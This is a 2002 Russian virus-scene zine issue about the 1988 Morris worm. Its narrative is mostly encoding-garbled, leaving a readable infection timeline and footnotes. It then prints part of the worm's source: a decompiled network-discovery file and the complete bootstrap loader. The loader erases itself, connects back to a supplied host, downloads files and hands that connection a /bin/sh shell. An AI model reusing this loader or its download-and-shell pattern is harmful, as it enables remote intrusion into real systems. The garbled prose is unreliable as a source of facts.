
                      -=POWER HEAP RESEARCH=-
          =>ᨬ p y ᫥<=

              
                                          
                                  
                                          
                         

                            
                                    
                         
                                       
                             
                       Helloween.virus@mail.ru
                    http://www.helloween.boom.ru
                      http://www.rezus.boom.ru
                        [H  ]

                    Ŀ
                    Hp 5  2002  (p 10)
                    


 ,   .  py    ᮡp. H    -
 p.  y  令 py ᠩ⮢ (ᬮp ).
    ᫥ p HVG  py pp pyᮢ,
py, p, p  .  筮 ,  yp.  ⥯p
p ᢮ .

                           
                            (p)

        ।⠢ ਬ ⨭ ࠭
    ᭮  ᮮ饭, 室   , 
 ,    ᫥  㡫権    .   
⭮,  ।⠢  ᮮ饭, 室訥  ६ ⠪
  ஭  ⠬  VIRUS_L  (  VIR)    RISKS_FORUM  (
RISKS) [B2].
     樠  襣     ⢥ত,      ᮮ饭,
室訥         ६  ᭮  ⠪,  祭  
ᮮ饭  ࠦ᪨  ⢨, 㯠  裡   ६
ன  ஢  .     类  砥,   ᮮ饭 
  ᯮ魮,  ਢ    ६  ᭮  ⠪  
ࠧ  㧫  ,  ਬ୮  業    짮⥫
,   ந室  ᤥ 뢮 ⭮⥫쭮  ॡ  
⥬     .

     ⠪, 2  1988 , ।.

  17:00   㦥  ୥᪮ 㭨 (-).

  21:00   㦥  ⥬ ᪮ 㭨  

______________________________
     [A8] 5.11.1988,   મ "Author of Computer 'Virus'
is son of USA Electronic Security Expert".

______________________________
     [B1] , , ᨫ쭮 㤭 ⮬ ࠡ ᫥⢨.

     [B2]   - "Forum on Risks to the Public in Computers
and  Related  States:   ACM Committee and Public Policy".  ࣠
஬ .
       ᮮ饭, ᯮ㥬,  ⭮,     饩
,    뫨    㡫        ᪮쪨      ୠ
"Computer &Security"  砫 1989 .

     Rand Corporation (୨).

  22:00  ᮬ ࠦ ⥬ 㭨  ફ (୨).

  23:00     㦥    ᯥ樠⠬    ⤥    ⥬⨪
     ਭ⮭᪮ 㭨 (-).

     砫    㦨訥    㬠,      ।
樤, 騩 ⮫쪮  ⥬.   ⢥ ।⠢
ᥡ  ,  ⠡ ਬ    १  ᪮쪮  ᮢ.
        ⠪ ⥬ ᫠ ᮮ饭 
ந襤襬.

  23:28     ஭    VIRUS_L  諮  ࢮ  ᮮ饭  
     .    頥,    ⠪  㭨      
     -,   ମ᪠           ७    
     ᫥⥫᪨  業   [B3]  (    ୨).   室
        SMTP.  ⠪  ⥬  4.3 BSD
       Sun 3.x.   ⬥砥,     ࠭  
     TELNETD, FTPD, FINGER, RSHD  SMTP [B4].

  23:45      㦥         ᫥⥫᪮     ਨ
     ⨪. [B5]

     ⥯ ⠫ ,      ਧ ࠦ
ᮬ    짮⥫,  室騥  ࠧ  ࠭.
뢠  ᮢ  ᮡ⨩    ६,    ᤥ  뢮,   
樮    ⥬  ⠪   ⥬  ᮬ,
࠭騬 १ , ᪮  ᯮᮡ ࠭
  뫮 ᭨ ᪮,  ன    ࠧ
 , ᫨, 筮,  ।,      ந室饥  -
१  ࠭  ᯫ஢   ⮢ 樨 
㯭 㯯,  饩      ᥬ  樮  ⥬.
  ஢  ਪ᪨  ⥬  ᫥ ⠭ ⮣
䠪,  , ⠢  ᭮!
      짮⥫  ⥬ ஢  ⠪  㧫
⥩      뫮  ⨦.     ⥬ 
४ਨ /usr/tmp 﫨  䠩;    ୠ  䠩
鸞  ⨫  﫨 ࠭ ᮮ饭.   ਬ⥫,
, 뫮 ,        蠫  㧪  ⥬,
ਢ      殢      ௠  ᢮  ,
뤥    ᢮,      ९  ⥬   ⠡
ᮢ -   砥  砫 ஢ ⥬.

     室   ⥩,     㦥,   
  ⨫ ᮬ Milnet/Arpanet.  ᪮, , ᭨, 
  Arpanet 筮 ४祢   Science Internet -  
      砥    " Internet".   ᫥ ⮣, 
୥᪨ 㭨 ᪠  ᢥ    ।,
  ,  ⭮, ࠧࠡ⠭   ⥭,  砥 
      ࠭,    ࠭  ,
  -    Cornell/Arpanet.       
 ।    ᫥饩  ਨ  ⮪    મ,
७ .  , 襫 ,      [B6],
㡫  "- "  4  17  1988 .

         ᯥ樠⮢        ਧ   ,
᪮쪮  ஡   ࠬ⭮  ஢ ᮡ.  
भ -   ⠢, ᯥ樠  ᭮ ஢
-  ᠫ   ⮬ :  ", ९ 筮 ,  
  ⮢  ଠ,  ,  ஬  ⮣,    
訥  뢮  ⮣,    ਫ.   ⥬  ⭮
 ᫮,   ⠭,  , ᢨ⥫ﬨ ଠ쭮
⥭樨   ᫠ 'ᯥ⮢'  । ᠬ ୠ⮢."

     㯨 3 , ⢥.

  01:00  饭  ࠦ 15- 㧫  Arpanet.

  02:00  ࠦ   ᮬ    ⥬    ࢠ᪮    㭨
     ().

  03:30   㦥      ᪮  孮᪮
      (Massachusets Institute of Technologies; MIT).

  03:46   ᮮ饭, 襤襬  ஭  RISKS, ,
       ⠪  ⥬  UNIX  -  4.3 BSD -    Sun,
     ࠡ騥   VAX  DEC    Sun  
     Sun    Microsystems    Inc.     頥   ⠪,      
     ࠭  १      ⥬  ᭮   ⨫
     ஭  Sendmail, 饩  ⠢ 㪠 ⥬.

  04:00  ᪮       ॣ㦥,    ࠭    
     ;  ⮬  ࠦ 㦥  1000 㧫 .

  05:15   㭨 ୥-  ࣥ (ᨫ좠) 
     100 ஢, 祭  Arpanet, 諮   80.

  08:00  饭    䨧᪮ 業 Smithonian.

     ᫥⢨  ᪮쪮  ᨩ  ⭮⥫쭮  ⮣,  
    㦥 .

     ᭮ ࢮ,    㦥        2  3 
1988          㤭  ମ᪮  ਨ
.७.    ᢮ 譥 ନ  ᫨⥫쭮

______________________________
     [B3] ⢥⢥, Lawrence Livermore Laboratory  NASA's Aimes
Research Center.

     [B4] SMTP ஢뢠  ⮩ ⮪ ।   -
Simple  Mail  Transfer  Protocol; FTP -  ⮪ । 䠩 -
File Transfer Protocol;  TELNET   ⮪ 樨
ନ.     ⮪  ⮪ TCP/IP, ᮧ묨
 ॠ樨 ᮮ⢥ 㭪権.

     [B5] Army Ballistic Research Laboratory.

     [B6] John Markoff, Lawrence M. Fisher, Michael Wines, Jeff Gerth,
Calvin Sims.


⥬  ਨ,   ⨫ 筮 襭 ⥭ᨢ 
㧪.  ਢ , 㤭 ᮮ騫    ⮬  ୮
       (祢  㪮  樥)  ࠧ  
⪫稫 ⥬   Science Internet,  ன  ࠭
.
     樠 ମ᪮ ਨ ⢨⥫쭮    
    㦨  .       ⮬,      ,
஢ ᫥  ணࠬ     ࠧࠡ    
拉୮  㦨,      1988  㦥 ⠫  ᮬ, ᫥
祣,     ᥩ   ,   뫨   ਭ   ⥫   
।஦  襭 ⥫쭮.
       樤 뫮 ᮮ饭  ࠢ  裡    
(Defence Communication Agency; DCA),   ண 室 
Arpanet.       ᭮  ⠪  㧭  㪮⢮  DoD.
, ᬮ  ⨢ 饭,    
뫮 㦥 .

      ன ᨨ 饭       뫮  ࠢ
  殬    ୮     樥  
㭨⮦.    뫠 ॣ㦥  祭    ᫨⥫
業    ࠧ  ਭ﫨  ᨣ.     , ,  ᮮ饭
⨫ , 뫮 㦥 .

     ᭮  쥩   ᨨ   묨   㦨      
᫨⥫쭮  ⥬  ᯥ樠  MIT.   ⢥⢥ 
᭮  ᫨⥫쭮  業  ਢ  筮   
.  設 ⥭ᨢ 㭪樮஢,    ६ 
   ࠡ⠫,  ᯫ    뢮.   १
᪮쪮        ⥬ 뫠 ,  ⥬ 諠 
.

       ࠡ ⥬ ॣ஢  ⮫쪮 ,    
  ᫨⥫  ⥬.     砫  ।    
ᮮ饭  ⮬,    ﭨ ਭ    ᫥⢨
९     .         ⮬    業    
筮-᫥⥫᪨  ⮢  ६  ⪫稫     㬥
 ࠦ.
     ,   祡  .- - Stevens  Institute
of  Technology, 稢襥 ।०, ᯥ ஢ ᢮ 
 ஢  .

     ᪮ ᭨ ᪮쪮 쥧 㤠  ᥭ.
     -,    ࠭  १       
㤮魮  ⮩  -  ᫥⢨  த⢨  㧫  ⥬ 
襣 ﭨ  裡  .
     -,  १ ࠡ  ஢  , ⠪
   ⠪  ⥬,  ⠭訥  ᫥⢨  ९
 /  ॢ襭  ⨬  ।  㧪.     㦠
砫   ⮬,    ஢ ⥬ 室,  
⥬  ࣫  ,      蠫   
- ।ਭ, ᪮ 﫨   ॣ㦥 ⥬.

     -, ஢ 樮 ⥬ UNIX Berkeley  4.3
-      ᠬ    ᨩ  UNIX,    ᨫ     
஭   㤮 ⫠ ।.    뫮  ⥬  
⭮,  ᫨  ,  UNIX - ⥬ 짮⥫᪠  
⮬   ⥬  ,  ᭮    䨪樨  
짮⥫   ஫.   ⨬ ⠫ .

     ⠪ 諠        ।  짮⥫  ࠭
,     ⠣,  뢠  ࠦ  
ᠬ  樮 ⥬ - !.

     㤨⥫쭮,     ।   ஢   ⥬   砫
 .      㬥   ਫ -  
祭 ᪮쪨  -  ᨫ   ⮬,  ⮡  易  
㣨  ࠤ訬,      訫 짮⥫ 
ࠡ   設.   १  ᪮쪮    訫
  ⮫쪮  ᢮ 設,   ⨫ ,   㣨 設
Internet,  묨    ࠡ   ⠭.
     ⠫ ⭮,  ᫨   ⠭,  ᫥⢨ 
   ᠬ  ⥫.     ᥩ  ࠭  짮⥫  ⠨
堭,  㬠,  ந, ᫨    ணࠬ஢
 㭨⮦  ०  (  뫮 쬠 ⭮).

     १ 5 ᮢ  ஢  435  800 ⥬,   ᥣ  
祭   -   ⮪   (2-3   )  ࠧ    6000
஢.  । ࠤ -  㦥 㯮  -  
⥬   ⢠   樮쭮   ᭮     ⥣᪮
樮   ;  ਩  NASA  (  ⭮  Jet
Propulsion  Laboratory;      ᫨⥫쭮  業  NASA  ⮭
   뫮  ஭ ⥬ ࠢ  ᪠
ࠡ  ࠧ  ᯮ짮  Shuttle,   㤠 ६
⪫)          -᪮     樮쭮      ਨ;
᫥⥫᪨  業஢     (Naval Research Laboratory, Naval
Ocean Systems Command)  ୨᪮  孮᪮  ;
㯭  㭨⮢  ࠭ ( ᪮ᨭ᪮ 㭨  300
⥬ 뫮 "롨" 200)    ਡ쭮  "  業"  SRI
International;  ⠪ 鸞  ,    .
     ,   ஢   ᯥ樠⠬,   ,        奬
࠭  ୮    뫠 ਬ୮ ᫥饩:  
Arpanet - Milnet - Science Internet -  NSF net.     १  
ࠪ᪨  뢥    .      ४⨫
 筮-᫥⥫᪨ ࠡ.
      ⮬, ,  뫮 ⭮, "襫"   १  
  ய [B8]


                        /p ᫥y/

  ⥯p 䠩 net.c :

/* dover */

#include "worm.h"
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <net/if.h>

/* This is the second of five source files linked together to form the '.o'
 * file distributed with the worm.
 */

if_init()                       /* 0x254c, check again */
{
    struct ifconf if_conf;
    struct ifreq if_buffer[12];
    int  s, i, num_ifs, j;
    char local[48];

    nifs = 0;
    s = socket(AF_INET, SOCK_STREAM, 0);
    if (s < 0)
        return 0;                               /* if_init+1042 */
    if_conf.ifc_req = if_buffer;
    if_conf.ifc_len = sizeof(if_buffer);

    if (ioctl(s, SIOCGIFCONF, &if_conf) < 0) {
        close(s);
        return 0;                               /* if_init+1042 */
    }

    num_ifs = if_conf.ifc_len/sizeof(if_buffer[0]);
    for(i = 0; i < num_ifs; i++) {              /* if_init+144 */
        for (j = 0; j < nifs; j++)
            /* Oops, look again.  This line needs verified. */
            if (strcmp(ifs[j], if_buffer[i].ifr_name) == 0)
                break;
    }

}

/* Yes all of these are in the include file, but why bother?  Everyone knows
   netmasks, and they will never change... */
def_netmask(net_addr)                           /* 0x2962 */
     int net_addr;
{
    if ((net_addr & 0x80000000) == 0)
        return 0xFF000000;
    if ((net_addr & 0xC0000000) == 0xC0000000)
        return 0xFFFF0000;
    return 0xFFFFFF00;
}

netmaskfor(addr)                                /* 0x29aa */
     int addr;
{
    int i, mask;

    mask = def_netmask(addr);
    for (i = 0; i < nifs; i++)
        if ((addr & mask) == (ifs[i].if_l16 & mask))
            return ifs[i].if_l24;
    return mask;
}

rt_init()                                       /* 0x2a26 */
{
    FILE *pipe;
    char input_buf[64];
    int  l204, l304;

    ngateways = 0;
    pipe = popen(XS("/usr/ucb/netstat -r -n"), XS("r"));
                                                 /* &env102,&env 125 */
    if (pipe == 0)
        return 0;
    while (fgets(input_buf, sizeof(input_buf), pipe)) { /* to 518 */
        other_sleep(0);
        if (ngateways >= 500)
            break;
        sscanf(input_buf, XS("%s%s"), l204, l304);      /* <env+127>"%s%s" */
        /* other stuff, I'll come back to this later */


    }                                           /* 518, back to 76 */
    pclose(pipe);
    rt_init_plus_544();
    return 1;
}                                               /* 540 */

static rt_init_plus_544()                               /* 0x2c44 */
{
}

getaddrs()                                      /* 0x2e1a */
{
}

struct bar *a2in(a)             /* 0x2f4a, needs to be fixed */
     int a;
{
    static struct bar local;
    local.baz = a;
    return &local;
}

/* End of source file in original. */

/*
 * Local variables:
 * compile-command: "cc -S net.c"
 * comment-column: 48
 * End:
 */

    x813550.c :

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

main(argc, argv)
char *argv[];
{
        struct sockaddr_in sin;
        int s, i, magic, nfiles, j, len, n;
        FILE *fp;
        char files[20][128];
        char buf[2048], *p;

        unlink(argv[0]);
        if(argc != 4)
                exit(1);
        for(i = 0; i < 32; i++)
                close(i);
        i = fork();
        if(i < 0)
                exit(1);
        if(i > 0)
                exit(0);

        bzero(&sin, sizeof(sin));
        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = inet_addr(argv[1]);
        sin.sin_port = htons(atoi(argv[2]));
        magic = htonl(atoi(argv[3]));

        for(i = 0; i < argc; i++)
                for(j = 0; argv[i][j]; j++)
                        argv[i][j] = '\0';

        s = socket(AF_INET, SOCK_STREAM, 0);
        if(connect(s, &sin, sizeof(sin)) < 0){
                perror("l1 connect");
                exit(1);
        }
        dup2(s, 1);
        dup2(s, 2);

        write(s, &magic, 4);

        nfiles = 0;
        while(1){
                if(xread(s, &len, 4) != 4)
                        goto bad;
                len = ntohl(len);
                if(len == -1)
                        break;

                if(xread(s, &(files[nfiles][0]), 128) != 128)
                        goto bad;

                unlink(files[nfiles]);
                fp = fopen(files[nfiles], "w");
                if(fp == 0)
                        goto bad;
                nfiles++;

                while(len > 0){
                        n = sizeof(buf);
                        if(n > len)
                                n = len;
                        n = read(s, buf, n);
                        if(n <= 0)
                                goto bad;
                        if(fwrite(buf, 1, n, fp) != n)
                                goto bad;
                        len -= n;
                }
                fclose(fp);
        }

        execl("/bin/sh", "sh", 0);
bad:
        for(i = 0; i < nfiles; i++)
                unlink(files[i]);
        exit(1);
}

static
xread(fd, buf, n)
char *buf;
{
        int cc, n1;

        n1 = 0;
        while(n1 < n){
                cc = read(fd, buf, n - n1);
                if(cc <= 0)
                        return(cc);
                buf += cc;
                n1 += cc;
        }
        return(n1);
}
int zz;

      y  ᪮쪮 䠩...